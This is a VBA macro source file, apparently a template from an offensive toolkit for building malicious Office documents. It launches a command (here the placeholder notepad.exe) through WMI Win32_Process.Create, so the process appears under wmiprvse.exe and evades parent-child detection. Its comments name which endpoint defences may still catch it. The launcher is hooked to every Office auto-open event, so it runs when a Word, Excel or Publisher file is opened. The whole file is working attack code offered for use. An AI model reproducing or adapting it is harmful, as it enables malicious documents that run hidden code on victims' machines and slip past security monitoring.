'
' Allows to dechain Parent-Child relationship, spawned command will be child of wmiprvse.exe.
' May be blocked by modern EDRs. Defender picks it up via AMSI and ASR rule.
'

Sub obf_LaunchCommand(ByVal obf_command As String)
    On Error GoTo obf_ProcError
    Dim obf_wmi, obf_startup, obf_conf, obf_proc

    Set obf_wmi = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\.\root\cimv2")
    Set obf_startup = obf_wmi.Get("Win32_ProcessStartup")
    Set obf_conf = obf_startup.SpawnInstance_
    obf_conf.ShowWindow = 12

    Set obf_proc = obf_wmi.Get("Win32_Process")
    obf_proc.Create obf_command, Null, obf_conf, intProcessID
        
obf_ProcError:
End Sub

Sub obf_GeneratorEntryPoint()
    On Error GoTo obf_ProcError
    Dim obf_code
    obf_code = ""
    

    obf_LaunchCommand "notepad.exe"

obf_ProcError:
End Sub

Sub obf_MacroEntryPoint()
    On Error Resume Next

    
    obf_GeneratorEntryPoint
    
End Sub

Sub Workbook_Open()
    ' Becomes launched as second, another try, on MS Excel
    obf_MacroEntryPoint
End Sub

Sub OnPowerPoint()
    obf_MacroEntryPoint
End Sub

Sub Document_Open()
    ' Becomes launched as second, another try, on MS Word / Publisher
    obf_MacroEntryPoint
End Sub

Sub AutoOpen()
    ' Becomes launched as first on MS Word / Publisher
    obf_MacroEntryPoint
End Sub

Sub Auto_Open()
    ' Becomes launched as first on MS Excel
    obf_MacroEntryPoint
End Sub